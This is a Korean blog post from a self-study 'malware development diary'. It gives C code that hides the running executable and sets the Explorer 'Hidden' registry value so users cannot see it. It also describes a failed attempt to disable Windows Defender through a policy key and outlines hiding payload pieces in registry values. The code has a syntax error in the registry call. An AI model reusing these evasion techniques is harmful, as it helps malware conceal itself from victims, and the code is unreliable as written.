악성코드와 백신/악성코드 개발일지

[악성코드 개발](13)[레지스트리 조작]

황올뱀 2026. 3. 19. 12:06

레지스트리 조작하기

악성코드의 지속을 위해 시작 프로그램에 레지스트리의 값을 새로 만들었는데,
이번에는 기존에 있던 레지스트리 값을 바꿔서 악성코드를 만들어보자!

 

https://www.igloo.co.kr/security-information/%ec%9c%88%eb%8f%84%ec%9a%b0-%eb%a0%88%ec%a7%80%ec%8a%a4%ed%8a%b8%eb%a6%ac-%eb%b6%84%ec%84%9d%ec%9d%84-%ec%9d%b4%ec%9a%a9%ed%95%9c-%ec%b9%a8%ed%95%b4%ec%82%ac%ea%b3%a0-%eb%b6%84%ec%84%9d-%ea%b8%b0/
↑레지스트리 관련 정리 자료

 

https://m.blog.naver.com/heeju5517/221866538898
↑공격에 사용되는 레지스트리 정리 자료

 

파일 숨기기

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden: 숨김파일 보이지 않기
    1(show) -> 2(don't show)

딱히 지난번과 로직이 달라지진 않았다.

파일 경로로 들어가서, 이번엔 DWORD 값을 바꾸는 것밖에 차이점이 없다.

void hide_file(){
    // 숨김 파일로 만들기
    wchar_t exePath[MAX_PATH];
    DWORD length = GetModuleFileNameW(NULL, exePath, MAX_PATH);

    DWORD attr = GetFileAttributesW(exePath);
    if (attr == INVALID_FILE_ATTRIBUTES){
        printf("no file error\n");
    }

    attr |= FILE_ATTRIBUTE_HIDDEN;
    if (SetFileAttributesW(exePath, attr)){
        printf("[+] file is hidden!\n");
    }
    else {
        printf("file hidden error\n");
    }

    HKEY hKey;
    DWORD value = 2;

    // 레지스트리 키 열기 (KEY_SET_VALUE 권한으로 열기)
    LONG result = RegOpenKeyExW(
        HKEY_CURRENT_USER,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",
        0,
        KEY_SET_VALUE,
        &hKey
    );

    if (result == ERROR_SUCCESS) {
        // 레지스트리 값 설정
        result = RegSetValueExW(
            hKey,
            L"Hidden",
            0,
            REG_DWORD,  // 4바이트 정수형
            (const BYTE*)&value
            sizeof(value) // 널 문자(\0) 포함 길이
        );

        if (result == ERROR_SUCCESS) {
            printf("[+] registry success!\n");
        }
 else {
  printf("error with code %ld\n", result);
}

        // 사용이 끝난 레지스트리 핸들 닫기
        RegCloseKey(hKey);
    }
 else {
  printf("failed to get registry key with error code %ld\n", result);
}

 

레지스트리는 정상적으로 적용되었다.

 

이렇게 적용하면 내 mal_study.exe 파일은 release에서 사라져있다!
    (실제로 레지스트리를 다시 1로 바꾸면 숨김파일의 mal_study.exe가 보인다)

 

실제로는 파일이 사라진게 아니다
재부팅할 때마다 악성코드가 실행되는 걸 알 수 있다
실제로 사진 위에 뜨는 경로도 release이다.

 

백신 끄기

이전에는 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender에서 바로 끌 수 있었으나, 이젠 변조 보호(Tamper protection) 기능 때문에 관리자 권한으로 수정하려 해도 microsoft 서명이 없으면 안된다고 한다.
-> 실제로도 잘 안됐다...

 

페이로드 저장

이제는 하다하다 페이로드를 레지스트리에 저장하기도 한다

  1. 페이로드를 조각조각 낸다
  2. 조각낸 페이로드를 레지스트리 value 값에 넣는다...

레지스트리 value를 페이로드 저장소로 썼던 사례
https://blog.alyac.co.kr/4358

반응형